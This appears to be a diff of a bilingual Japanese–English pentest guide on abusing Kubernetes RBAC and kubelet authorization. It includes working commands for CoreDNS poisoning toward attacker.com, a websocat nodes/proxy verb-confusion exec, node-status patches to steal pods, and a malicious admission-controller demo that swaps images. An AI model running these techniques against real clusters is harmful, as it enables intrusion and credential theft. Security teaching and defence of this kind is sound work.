An attacker could download it running `kubectl get configmap coredns -n kube-system -o yaml`, modify it adding something like `rewrite name victim.com attacker.com` so whenever `victim.com` is accessed actually `attacker.com` is the domain that is going to be accessed. And then apply it running `kubectl apply -f poison_dns.yaml`.
|
||||
|
||||
別のオプションは、`kubectl edit configmap coredns -n kube-system` を実行してファイルを編集し、変更を加えることです。
|
||||
Another option is to just edit the file running `kubectl edit configmap coredns -n kube-system` and making changes.
|
||||
|
||||
### GKEでの権限昇格
|
||||
### Escalating in GKE
|
||||
|
||||
**GCPプリンシパルにK8s権限を割り当てる方法は2つあります**。いずれの場合も、プリンシパルはクラスターにアクセスするための資格情報を取得するために **`container.clusters.get`** の権限が必要です。そうでなければ、**自分のkubectl設定ファイルを生成する必要があります**(次のリンクを参照)。
|
||||
There are **2 ways to assign K8s permissions to GCP principals**. In any case the principal also needs the permission **`container.clusters.get`** to be able to gather credentials to access the cluster, or you will need to **generate your own kubectl config file** (follow the next link).
|
||||
|
||||
> [!WARNING]
|
||||
> K8s APIエンドポイントに話しかけると、**GCP認証トークンが送信されます**。その後、GCPはK8s APIエンドポイントを通じて、最初に**プリンシパル**(メールアドレスによる)が**クラスター内にアクセス権を持っているかどうかを確認し**、次に**GCP IAMを介してアクセス権を持っているかどうかを確認します**。\
|
||||
> もし**いずれか**が**真**であれば、**応答**が返されます。そうでなければ、**GCP IAMを介して権限を与える**ことを提案する**エラー**が表示されます。
|
||||
> K8s API エンドポイントとやり取りする際、**GCP の認証トークンが送信されます**。その後、GCP は K8s API エンドポイントを通じて、まずプリンシパル(メールアドレスで)が**クラスター内にアクセス権を持っているか**を確認し、次に**GCP IAM 経由のアクセス権があるか**を確認します。\
|
||||
> どちらかが当てはまればアクセスが許可されます。どちらも当てはまらない場合は、**GCP IAM 経由での権限付与を示唆するエラー**が返されます。
|
||||
|
||||
最初の方法は**GCP IAM**を使用することで、K8s権限には**対応するGCP IAM権限**があります。プリンシパルがそれを持っていれば、使用することができます。
|
||||
Then, the first method is using **GCP IAM**, the K8s permissions have their **equivalent GCP IAM permissions**, and if the principal have it, it will be able to use it.
|
||||
|
||||
{{#ref}}
|
||||
../../gcp-security/gcp-privilege-escalation/gcp-container-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
2つ目の方法は、**クラスター内でK8s権限を割り当てる**ことで、ユーザーをその**メール**で識別します(GCPサービスアカウントを含む)。
|
||||
The second method is **assigning K8s permissions inside the cluster** to the identifying the user by its **email** (GCP service accounts included).
|
||||
|
||||
### サービスアカウントトークンの作成
|
||||
### Create serviceaccounts token
|
||||
|
||||
**TokenRequests**(`serviceaccounts/token`)を**作成できる**プリンシパルは、K8s APIエンドポイントに話しかけるときにSAs(情報は[**こちら**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego))です。
|
||||
Principals that can **create TokenRequests** (`serviceaccounts/token`) When talking to the K8s api endpoint SAs (info from [**here**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)).
|
||||
|
||||
### ephemeralcontainers
|
||||
|
||||
**`update`** または **`patch`** **`pods/ephemeralcontainers`** を行うことができるプリンシパルは、**他のポッドでコード実行を得る**ことができ、特権のあるsecurityContextを持つ一時的なコンテナを追加することで**ノードから抜け出す**可能性があります。
|
||||
Principals that can **`update`** or **`patch`** **`pods/ephemeralcontainers`** can gain **code execution on other pods**, and potentially **break out** to their node by adding an ephemeral container with a privileged securityContext
|
||||
|
||||
### ValidatingWebhookConfigurationsまたはMutatingWebhookConfigurations
|
||||
### ValidatingWebhookConfigurations or MutatingWebhookConfigurations
|
||||
|
||||
`validatingwebhookconfigurations` または `mutatingwebhookconfigurations` に対して `create`、`update`、または `patch` のいずれかの動詞を持つプリンシパルは、**権限を昇格させるためにそのようなwebhookconfigurationsの1つを作成できる**可能性があります。
|
||||
Principals with any of the verbs `create`, `update` or `patch` over `validatingwebhookconfigurations` or `mutatingwebhookconfigurations` might be able to **create one of such webhookconfigurations** in order to be able to **escalate privileges**.
|
||||
|
||||
[`mutatingwebhookconfigurations`の例はこの投稿のこのセクションを確認してください](#malicious-admission-controller)。
|
||||
For a [`mutatingwebhookconfigurations` example check this section of this post](#malicious-admission-controller).
|
||||
|
||||
### 昇格
|
||||
### Escalate
|
||||
|
||||
次のセクションで読むことができるように: [**組み込みの特権昇格防止**](#built-in-privileged-escalation-prevention)、プリンシパルは自分自身がその新しい権限を持っていない限り、役割やクラスター役割を更新または作成することはできません。**`roles`** または **`clusterroles`** に対して **`escalate` または `*`** の動詞を持っている場合を除き、そしてそれに対応するバインディングオプションが必要です。\
|
||||
その場合、彼はより良い権限を持つ新しい役割やクラスター役割を更新/作成できます。
|
||||
As you can read in the next section: [**Built-in Privileged Escalation Prevention**](#built-in-privileged-escalation-prevention), a principal cannot update neither create roles or clusterroles without having himself those new permissions. Except if he has the **verb `escalate` or `*`** over **`roles`** or **`clusterroles`** and the respective binding options.\
|
||||
Then he can update/create new roles, clusterroles with better permissions than the ones he has.
|
||||
|
||||
### ノードプロキシ
|
||||
### Nodes proxy
|
||||
|
||||
**`nodes/proxy`** サブリソースにアクセスできるプリンシパルは、Kubelet APIを介して**ポッドでコードを実行**できます([**こちら**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)に従って)。Kubelet認証に関する詳細はこのページにあります:
|
||||
Principals with access to the **`nodes/proxy`** subresource can **execute code on pods** via the Kubelet API (according to [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). More information about Kubelet authentication in this page:
|
||||
|
||||
{{#ref}}
|
||||
../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md
|
||||
{{#endref}}
|
||||
|
||||
[**Kubelet APIに認可された状態でRCEを取得する方法の例はここにあります**](../pentesting-kubernetes-services/index.html#kubelet-rce)。
|
||||
#### nodes/proxy GET -> Kubelet /exec via WebSocket verb confusion
|
||||
|
||||
### ポッドの削除 + スケジュールできないノード
|
||||
- Kubelet maps HTTP methods to RBAC verbs **before** protocol upgrade. WebSocket handshakes must start with **HTTP GET** (`Connection: Upgrade`), so `/exec` over WebSocket is checked as **verb `get`** instead of the expected `create`.
|
||||
- `/exec`, `/run`, `/attach`, and `/portforward` are not explicitly mapped and fall into the default **`proxy`** subresource, so the authorization question becomes **`can <user> get nodes/proxy?`**
|
||||
- If a token only has **`nodes/proxy` + `get`**, direct WebSocket access to the kubelet on `https://<node_ip>:10250` allows arbitrary command execution in any pod on that node. The same request via the API server proxy path (`/api/v1/nodes/<node>/proxy/exec/...`) is denied because it is a normal HTTP POST and maps to `create`.
|
||||
- The kubelet performs no second authorization after the WebSocket upgrade; only the initial GET is evaluated.
|
||||
|
||||
**ポッドを削除**できるプリンシパル(`pods`リソースに対する`delete`動詞)、または**ポッドを追い出す**(`pods/eviction`リソースに対する`create`動詞)、または**ポッドの状態を変更**できる(`pods/status`へのアクセス)プリンシパルは、**他のノードをスケジュールできないようにする**(`nodes/status`へのアクセス)または**ノードを削除**できる(`nodes`リソースに対する`delete`動詞)場合、ポッドを制御している場合、**他のノードからポッドを盗む**ことができ、そうすることで**侵害された****ノード**で**実行され**、攻撃者はそれらのポッドから**トークンを盗む**ことができます。
|
||||
**Direct exploit (requires network reachability to the kubelet and a token with `nodes/proxy` GET):**
|
||||
```bash
|
||||
kubectl auth can-i --list | grep "nodes/proxy"
|
||||
websocat --insecure \
|
||||
--header "Authorization: Bearer $TOKEN" \
|
||||
--protocol "v4.channel.k8s.io" \
|
||||
"wss://$NODE_IP:10250/exec/$NAMESPACE/$POD/$CONTAINER?output=1&error=1&command=id"
|
||||
```
|
||||
- **Node IP** を使用し、node name ではなく。同じリクエストを `curl -X POST` で送ると、`create` にマップされるため **Forbidden** になります。
|
||||
- kubelet への直接アクセスは API server をバイパスするため、AuditPolicy には kubelet user agent からの `subjectaccessreviews` のみが表示され、**`pods/exec` はログに残りません**。
|
||||
- 影響を受けるサービスアカウントを [detection script](https://gist.github.com/grahamhelton/f5c8ce265161990b0847ac05a74e466a) で列挙し、`nodes/proxy` GET に限定されたトークンを見つけてください。
|
||||
|
||||
### pods の削除 + ノードを unschedulable にする
|
||||
|
||||
プリンシパルが **pods を削除できる**(`pods` リソースに対する `delete` 動詞)、または **pods を evict できる**(`pods/eviction` リソースに対する `create` 動詞)、または **pod ステータスを変更できる**(`pods/status` へのアクセス)と同時に **他の nodes を unschedulable にできる**(`nodes/status` へのアクセス)か **nodes を削除できる**(`nodes` リソースに対する `delete` 動詞)権限を持ち、かつある pod を制御できる場合、他の nodes から **pods を盗用して**それらを侵害された node 上で**実行**させ、攻撃者がそれらの pods からトークンを**盗む**可能性があります。
|
||||
```bash
|
||||
patch_node_capacity(){
|
||||
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
|
||||
@@ -644,41 +660,41 @@ kubectl delete pods -n kube-system <privileged_pod_name>
|
||||
```
|
||||
### サービスのステータス (CVE-2020-8554)
|
||||
|
||||
**`services/status`** を **修正** できるプリンシパルは、`status.loadBalancer.ingress.ip` フィールドを設定して **未修正の CVE-2020-8554** を悪用し、**クラスターに対する MiTM 攻撃** を開始することができます。CVE-2020-8554 に対するほとんどの緩和策は、ExternalIP サービスを防ぐだけです([**これ**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego) による)。
|
||||
`services/status` を**変更できる**主体は、`status.loadBalancer.ingress.ip` フィールドを設定して未修正の CVE-2020-8554 を悪用し、クラスターに対して **MiTM 攻撃** を仕掛ける可能性があります。CVE-2020-8554 に対するほとんどの緩和策は ExternalIP services のみを防ぐにとどまります([**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego) による)。
|
||||
|
||||
### ノードとポッドのステータス
|
||||
### ノードと Pod のステータス
|
||||
|
||||
`nodes/status` または `pods/status` に対して **`update`** または **`patch`** 権限を持つプリンシパルは、スケジューリング制約に影響を与えるラベルを修正できます。
|
||||
`nodes/status` または `pods/status` に対して **`update`** または **`patch`** 権限を持つ主体は、スケジューリング制約に影響するラベルを変更することができます。
|
||||
|
||||
## 組み込みの特権昇格防止
|
||||
## 組み込みの特権昇格防止機構
|
||||
|
||||
Kubernetes には、特権昇格を防ぐための [組み込みメカニズム](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) があります。
|
||||
Kubernetes には権限昇格を防ぐための [built-in mechanism](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) があります。
|
||||
|
||||
このシステムは、**ユーザーが役割や役割バインディングを修正することによって特権を昇格させることができない**ことを保証します。このルールの施行は API レベルで行われ、RBAC 認可者が非アクティブな場合でも保護を提供します。
|
||||
この仕組みによって、**ユーザーが roles や role bindings を変更して権限を昇格させることができない**ように保証されます。この規則の適用は API レベルで行われるため、RBAC authorizer が無効でも保護が働きます。
|
||||
|
||||
このルールは、**ユーザーは役割を作成または更新するために、その役割が含むすべての権限を持っている必要がある**と規定しています。さらに、ユーザーの既存の権限の範囲は、作成または修正しようとしている役割の範囲と一致しなければなりません:ClusterRoles の場合はクラスター全体、Roles の場合は同じネームスペース(またはクラスター全体)に制限されます。
|
||||
このルールは、**ユーザーがそのロールに含まれるすべての権限を所有している場合にのみロールを作成または更新できる**と定めています。さらに、ユーザーの既存の権限のスコープは、作成または変更しようとするロールのスコープと一致している必要があります:ClusterRoles ならクラスター全体、Roles なら同じ namespace 内(またはクラスター全体)に限定されます。
|
||||
|
||||
> [!WARNING]
|
||||
> 前述のルールには例外があります。プリンシパルが **`roles`** または **`clusterroles`** に対して **動詞 `escalate`** を持っている場合、彼は自分自身が権限を持っていなくても役割やクラスター役割の特権を増加させることができます。
|
||||
> 前述のルールには例外があります。主体が **`roles`** または **`clusterroles`** に対して **動詞 `escalate`** の権限を持っている場合、本人がその権限を持っていなくても roles や clusterroles の権限を増やすことができます。
|
||||
|
||||
### **RoleBindings/ClusterRoleBindings の取得とパッチ**
|
||||
|
||||
> [!CAUTION]
|
||||
> **この技術は以前は機能していたようですが、私のテストによると、前のセクションで説明した理由でもはや機能していません。権限を持っていない場合、自分自身または別の SA に特権を与えるために rolebinding を作成/修正することはできません。**
|
||||
> **一見この手法は以前は動作していたようですが、私のテストでは前節と同じ理由により現在はもう動作しません。既に持っていない権限を自分や別の SA に与えるために rolebinding を作成/変更することはできません。**
|
||||
|
||||
Rolebindings を作成する特権は、ユーザーが **サービスアカウントに役割をバインドする** ことを可能にします。この特権は、**ユーザーが侵害されたサービスアカウントに管理者特権をバインドできるため、特権昇格につながる可能性があります。**
|
||||
Rolebinding を作成する権限があれば、ユーザーは roles を service account にバインドできます。この権限は、ユーザーが侵害された service account に admin privileges をバインドできるため、特権昇格につながる可能性があります。
|
||||
|
||||
## その他の攻撃
|
||||
|
||||
### サイドカー プロキシ アプリ
|
||||
### Sidecar proxy アプリ
|
||||
|
||||
デフォルトでは、ポッド間の通信に暗号化はありません。相互認証、双方向、ポッドからポッドへ。
|
||||
デフォルトでは pods 間の通信は暗号化されていません。相互認証(双方向、pod 間)は行われていません。
|
||||
|
||||
#### サイドカー プロキシ アプリの作成
|
||||
#### Sidecar proxy アプリの作成
|
||||
|
||||
サイドカーコンテナは、**ポッド内に2つ目(またはそれ以上)のコンテナを追加する** ことから成ります。
|
||||
Sidecar コンテナは、単に pod の内部に**2 番目(またはそれ以上)のコンテナを追加する**ことから成ります。
|
||||
|
||||
例えば、以下は2つのコンテナを持つポッドの設定の一部です:
|
||||
例えば、以下は 2 つのコンテナを持つ pod の設定の一部です:
|
||||
```yaml
|
||||
spec:
|
||||
containers:
|
||||
@@ -688,47 +704,47 @@ image: nginx
|
||||
image: busybox
|
||||
command: ["sh","-c","<execute something in the same pod but different container>"]
|
||||
```
|
||||
既存のポッドに新しいコンテナをバックドアするには、仕様に新しいコンテナを追加するだけで済みます。第二のコンテナに対して、最初のコンテナが持たない**より多くの権限を与える**ことができることに注意してください。
|
||||
例えば、既存の pod に新しい container で backdoor を仕掛けるには、specification に新しい container を追加するだけでよい。注意として、2番目の container に最初のものが持たないような権限を**より多く与える**ことができる点がある。
|
||||
|
||||
詳細は次を参照してください: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
|
||||
詳しくは: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
|
||||
|
||||
### 悪意のあるアドミッションコントローラー
|
||||
### 悪意のある Admission Controller
|
||||
|
||||
アドミッションコントローラーは、オブジェクトの永続化の前にKubernetes APIサーバーへのリクエストを**傍受**しますが、**リクエストが認証され**、**承認された後**です。
|
||||
An admission controller は、リクエストが**認証され**および**認可された**後、オブジェクトの永続化が行われる前に、**Kubernetes API server へのリクエストを傍受する**。
|
||||
|
||||
攻撃者が何らかの方法で**ミューテーションアドミッションコントローラーを注入**することに成功すれば、**すでに認証されたリクエストを変更**することができます。これにより、潜在的に権限昇格が可能になり、より一般的にはクラスター内に持続することができます。
|
||||
もし攻撃者が何らかの方法で **inject a Mutation Admission Controller** できれば、既に認証されたリクエストを**変更する**ことが可能になる。これにより privesc が発生する可能性があり、より一般的にはクラスタ内に永続化することができる。
|
||||
|
||||
**例は** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers) からです:
|
||||
**Example from** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers):
|
||||
```bash
|
||||
git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
|
||||
cd malicious-admission-controller-webhook-demo
|
||||
./deploy.sh
|
||||
kubectl get po -n webhook-demo -w
|
||||
```
|
||||
準備ができているかどうかステータスを確認してください:
|
||||
準備できているかどうか、ステータスを確認してください:
|
||||
```bash
|
||||
kubectl get mutatingwebhookconfigurations
|
||||
kubectl get deploy,svc -n webhook-demo
|
||||
```
|
||||

|
||||
|
||||
次に、新しいポッドをデプロイします:
|
||||
次に新しい pod をデプロイします:
|
||||
```bash
|
||||
kubectl run nginx --image nginx
|
||||
kubectl get po -w
|
||||
```
|
||||
`ErrImagePull`エラーが表示された場合は、次のいずれかのクエリでイメージ名を確認してください:
|
||||
`ErrImagePull` エラーが表示される場合は、次のいずれかのクエリでイメージ名を確認してください:
|
||||
```bash
|
||||
kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
|
||||
kubectl describe po nginx | grep "Image: "
|
||||
```
|
||||

|
||||
|
||||
上の画像に示されているように、私たちはイメージ `nginx` を実行しようとしましたが、最終的に実行されたイメージは `rewanthtammana/malicious-image` です。何が起こったのでしょうか?
|
||||
上の画像にあるように、イメージ `nginx` を実行しようとしましたが、実際に実行されたのは `rewanthtammana/malicious-image` でした。これは一体何が起きたのでしょうか?
|
||||
|
||||
#### 技術的詳細
|
||||
#### 技術的な詳細
|
||||
|
||||
`./deploy.sh` スクリプトは、Kubernetes APIへのリクエストを指定された設定行に従って変更するミューテイティングウェブフックアドミッションコントローラーを確立します。これにより、観察された結果に影響を与えます。
|
||||
The `./deploy.sh` script establishes a mutating webhook admission controller, which modifies requests to the Kubernetes API as specified in its configuration lines, influencing the outcomes observed:
|
||||
```
|
||||
patches = append(patches, patchOperation{
|
||||
Op: "replace",
|
||||
@@ -736,9 +752,9 @@ Path: "/spec/containers/0/image",
|
||||
Value: "rewanthtammana/malicious-image",
|
||||
})
|
||||
```
|
||||
上記のスニペットは、すべてのポッドの最初のコンテナイメージを `rewanthtammana/malicious-image` に置き換えます。
|
||||
上のスニペットは、すべての pod の最初のコンテナイメージを `rewanthtammana/malicious-image` に置き換えます。
|
||||
|
||||
## OPA Gatekeeper バイパス
|
||||
## OPA Gatekeeper bypass
|
||||
|
||||
{{#ref}}
|
||||
../kubernetes-opa-gatekeeper/kubernetes-opa-gatekeeper-bypass.md
|
||||
@@ -746,18 +762,18 @@ Value: "rewanthtammana/malicious-image",
|
||||
|
||||
## ベストプラクティス
|
||||
|
||||
### **サービスアカウントトークンの自動マウントを無効にする**
|
||||
### **Service Account Tokens の自動マウントを無効化する**
|
||||
|
||||
- **ポッドとサービスアカウント**: デフォルトでは、ポッドはサービスアカウントトークンをマウントします。セキュリティを強化するために、Kubernetesはこの自動マウント機能を無効にすることを許可しています。
|
||||
- **適用方法**: Kubernetes バージョン 1.6 以降、サービスアカウントまたはポッドの設定で `automountServiceAccountToken: false` を設定します。
|
||||
- **Pods and Service Accounts**: デフォルトでは、pods は service account token をマウントします。セキュリティ強化のため、Kubernetes はこの自動マウント機能を無効化できます。
|
||||
- **How to Apply**: Kubernetes バージョン 1.6 以降、service account または pod の設定で `automountServiceAccountToken: false` を設定します。
|
||||
|
||||
### **RoleBindings/ClusterRoleBindings における制限されたユーザー割り当て**
|
||||
### **RoleBindings/ClusterRoleBindings における制限的なユーザー割り当て**
|
||||
|
||||
- **選択的な含有**: RoleBindings または ClusterRoleBindings に必要なユーザーのみを含めるようにします。定期的に監査し、関連性のないユーザーを削除して、厳格なセキュリティを維持します。
|
||||
- **Selective Inclusion**: RoleBindings や ClusterRoleBindings に必要なユーザーだけが含まれるようにしてください。定期的に監査し、不要なユーザーを削除して厳格なセキュリティを維持します。
|
||||
|
||||
### **クラスター全体のロールよりも名前空間特有のロールを使用する**
|
||||
### **Namespace 固有の Roles を優先し、Cluster 全体の Roles を避ける**
|
||||
|
||||
- **ロールとクラスター ロール**: クラスター全体に適用される ClusterRoles および ClusterRoleBindings よりも、名前空間特有の権限には Roles および RoleBindings を使用することを推奨します。このアプローチは、より細かい制御を提供し、権限の範囲を制限します。
|
||||
- **Roles vs. ClusterRoles**: Namespace 固有の権限には、クラスタ全体に適用される ClusterRoles や ClusterRoleBindings ではなく、Roles と RoleBindings を使用することを推奨します。このアプローチはより細かい制御を提供し、権限の範囲を制限します。
|
||||
|
||||
### **自動化ツールを使用する**
|
||||
|
||||
@@ -773,12 +789,15 @@ https://github.com/aquasecurity/kube-hunter
|
||||
https://github.com/aquasecurity/kube-bench
|
||||
{{#endref}}
|
||||
|
||||
## **参考文献**
|
||||
## **参考資料**
|
||||
|
||||
- [**https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions**](https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions)
|
||||
- [**https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1**](https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1)
|
||||
- [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers)
|
||||
- [**https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html**](https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html)
|
||||
- [**https://kubenomicon.com/**](https://kubenomicon.com/)
|
||||
- [nodes/proxy GET -> kubelet exec WebSocket bypass](https://grahamhelton.com/blog/nodes-proxy-rce)
|
||||
- [nodes/proxy GET detection script](https://gist.github.com/grahamhelton/f5c8ce265161990b0847ac05a74e466a)
|
||||
- [websocat](https://github.com/vi/websocat)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,25 +1,25 @@
|
||||
# Kubelet Authentication & Authorization
|
||||
# Kubelet 認証と認可
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Kubelet Authentication <a href="#kubelet-authentication" id="kubelet-authentication"></a>
|
||||
## Kubelet 認証 <a href="#kubelet-authentication" id="kubelet-authentication"></a>
|
||||
|
||||
[**ドキュメントから:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
|
||||
[**From the docss:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
|
||||
|
||||
デフォルトでは、他の設定された認証方法によって拒否されないkubeletのHTTPSエンドポイントへのリクエストは、匿名リクエストとして扱われ、**ユーザー名は `system:anonymous`**、**グループは `system:unauthenticated`**が与えられます。
|
||||
デフォルトでは、他の設定された認証方法によって拒否されない kubelet の HTTPS エンドポイントへのリクエストは匿名リクエストとして扱われ、**ユーザー名 `system:anonymous`** と **グループ `system:unauthenticated`** が与えられます。
|
||||
|
||||
**3**つの認証**方法**は次のとおりです:
|
||||
認証の **3** つの **方法** は次のとおりです:
|
||||
|
||||
- **匿名**(デフォルト):パラメータ**`--anonymous-auth=true`または設定を使用します:**
|
||||
- **Anonymous** (デフォルト): パラメータ **`--anonymous-auth=true`** または設定で有効にします:
|
||||
```json
|
||||
"authentication": {
|
||||
"anonymous": {
|
||||
"enabled": true
|
||||
},
|
||||
```
|
||||
- **Webhook**: これにより、kubectl **APIベアラートークン**が認証として**有効**になります(有効なトークンはすべて有効です)。次のように許可します:
|
||||
- `authentication.k8s.io/v1beta1` APIグループがAPIサーバーで有効になっていることを確認します
|
||||
- **`--authentication-token-webhook`**および**`--kubeconfig`**フラグを使用してkubeletを起動するか、次の設定を使用します:
|
||||
- **Webhook**: これにより kubectl の **API bearer tokens** を認証として**有効にします**(有効なトークンはどれでも認証されます)。次のように許可します:
|
||||
- API サーバーで `authentication.k8s.io/v1beta1` API グループが有効になっていることを確認する
|
||||
- kubelet を **`--authentication-token-webhook`** と **`--kubeconfig`** フラグで起動するか、次の設定を使用する:
|
||||
```json
|
||||
"authentication": {
|
||||
"webhook": {
|
||||
@@ -28,11 +28,11 @@
|
||||
},
|
||||
```
|
||||
> [!NOTE]
|
||||
> kubeletは、設定されたAPIサーバー上で**`TokenReview` API**を呼び出して、**ベアラートークンからユーザー情報を特定**します。
|
||||
> kubelet は設定された API server 上の **`TokenReview` API`** を呼び出し、bearer tokens から**ユーザー情報を判定します**
|
||||
|
||||
- **X509クライアント証明書:** X509クライアント証明書を介して認証を許可します。
|
||||
- 詳細については、[apiserver認証ドキュメント](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs)を参照してください。
|
||||
- `--client-ca-file`フラグを使用してkubeletを起動し、クライアント証明書を検証するためのCAバンドルを提供します。または、設定を使用して:
|
||||
- **X509 client certificates:** X509 client certs を使用して認証できます
|
||||
- see the [apiserver authentication documentation](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) for more details
|
||||
- kubelet を `--client-ca-file` フラグで起動し、クライアント証明書を検証するための CA バンドルを指定します。あるいは設定で:
|
||||
```json
|
||||
"authentication": {
|
||||
"x509": {
|
||||
@@ -40,16 +40,16 @@
|
||||
}
|
||||
}
|
||||
```
|
||||
## Kubelet Authorization <a href="#kubelet-authentication" id="kubelet-authentication"></a>
|
||||
## Kubelet 認可 <a href="#kubelet-authentication" id="kubelet-authentication"></a>
|
||||
|
||||
成功裏に認証された(匿名リクエストを含む)**すべてのリクエストはその後承認されます**。**デフォルト**の承認モードは**`AlwaysAllow`**で、**すべてのリクエストを許可します**。
|
||||
正常に認証された(匿名リクエストを含む)すべてのリクエストは、**その後認可されます**。**デフォルト**の認可モードは**`AlwaysAllow`**で、**すべてのリクエストを許可します**。
|
||||
|
||||
しかし、他の可能な値は**`webhook`**であり(これは**主に見つかるものです**)、このモードは**認証されたユーザーの権限を確認して**アクションを許可または拒否します。
|
||||
ただし、もう一つの可能な値は**`webhook`**(現場で**主に見かける**のはこちら)です。このモードは、アクションを許可するか拒否するかを決めるために、**認証済みユーザーの権限をチェックします**。
|
||||
|
||||
> [!WARNING]
|
||||
> **匿名認証が有効になっている**場合でも、**匿名アクセス**には**アクションを実行する権限がない**可能性があります。
|
||||
> **匿名認証が有効になっている**場合でも、**匿名アクセス**は操作を実行するための権限を**持たない場合があります**。
|
||||
|
||||
Webhookによる承認は、**パラメータ `--authorization-mode=Webhook`**を使用するか、設定ファイルで次のように構成できます:
|
||||
webhookによる認可は、**param `--authorization-mode=Webhook`** を使用するか、設定ファイルで次のように設定できます:
|
||||
```json
|
||||
"authorization": {
|
||||
"mode": "Webhook",
|
||||
@@ -59,41 +59,45 @@ Webhookによる承認は、**パラメータ `--authorization-mode=Webhook`**
|
||||
}
|
||||
},
|
||||
```
|
||||
kubeletは、設定されたAPIサーバー上で**`SubjectAccessReview`** APIを呼び出して、各リクエストが**認可されているかどうかを** **判断**します。
|
||||
The kubelet は構成された API サーバー上の **`SubjectAccessReview`** API を呼び出して、各リクエストが **許可されているかどうか** を **判定** します。
|
||||
|
||||
kubeletは、apiserverと同じ[リクエスト属性](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes)アプローチを使用してAPIリクエストを認可します:
|
||||
kubelet は apiserver と同じ [request attributes](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) アプローチを使って API リクエストを認可します:
|
||||
|
||||
- **アクション**
|
||||
|
||||
| HTTP動詞 | リクエスト動詞 |
|
||||
| -------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| HTTP verb | request verb |
|
||||
| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| POST | create |
|
||||
| GET, HEAD| get(個々のリソース用)、list(コレクション用、完全なオブジェクトコンテンツを含む)、watch(個々のリソースまたはリソースのコレクションを監視するため) |
|
||||
| GET, HEAD | get (for individual resources), list (for collections, including full object content), watch (for watching an individual resource or collection of resources) |
|
||||
| PUT | update |
|
||||
| PATCH | patch |
|
||||
| DELETE | delete(個々のリソース用)、deletecollection(コレクション用) |
|
||||
| DELETE | delete (for individual resources), deletecollection (for collections) |
|
||||
|
||||
- Kubelet APIと通信する**リソース**は**常に** **nodes**であり、**サブリソース**は受信リクエストのパスから**決定**されます:
|
||||
- Kubelet api に対して話す **resource** は **常に** **nodes** で、**subresource** は受信リクエストのパスから **決定されます**:
|
||||
|
||||
| Kubelet API | リソース | サブリソース |
|
||||
| Kubelet API | resource | subresource |
|
||||
| ------------ | -------- | ----------- |
|
||||
| /stats/\* | nodes | stats |
|
||||
| /metrics/\* | nodes | metrics |
|
||||
| /logs/\* | nodes | log |
|
||||
| /spec/\* | nodes | spec |
|
||||
| _その他すべて_ | nodes | proxy |
|
||||
| _all others_ | nodes | proxy |
|
||||
|
||||
例えば、次のリクエストは、権限なしでkubeletのポッド情報にアクセスしようとしました:
|
||||
> [!NOTE]
|
||||
> WebSocket ベースの `/exec`, `/run`, `/attach`, `/portforward` はデフォルトの **proxy** subresource に分類され、初回 HTTP **GET** ハンドシェイクで認可されます。`nodes/proxy` **GET** のみを持つ主体でも、WebSockets 経由で `https://<node_ip>:10250` に直接接続すればコンテナを exec できてしまいます。詳細は [nodes/proxy GET -> Kubelet /exec verb confusion abuse](../abusing-roles-clusterroles-in-kubernetes/README.md#nodesproxy-get---kubelet-exec-via-websocket-verb-confusion) を参照してください。
|
||||
|
||||
例えば、次のリクエストは権限なしに kubelet の pods 情報へアクセスしようとしました:
|
||||
```bash
|
||||
curl -k --header "Authorization: Bearer ${TOKEN}" 'https://172.31.28.172:10250/pods'
|
||||
Forbidden (user=system:node:ip-172-31-28-172.ec2.internal, verb=get, resource=nodes, subresource=proxy)
|
||||
```
|
||||
- **Forbidden**を受け取ったので、リクエストは**認証チェックを通過しました**。そうでなければ、`Unauthorised`メッセージだけが表示されていたでしょう。
|
||||
- **ユーザー名**(この場合はトークンから)を見ることができます。
|
||||
- **リソース**が**ノード**であり、**サブリソース**が**プロキシ**であることを確認します(これは前の情報と一致します)。
|
||||
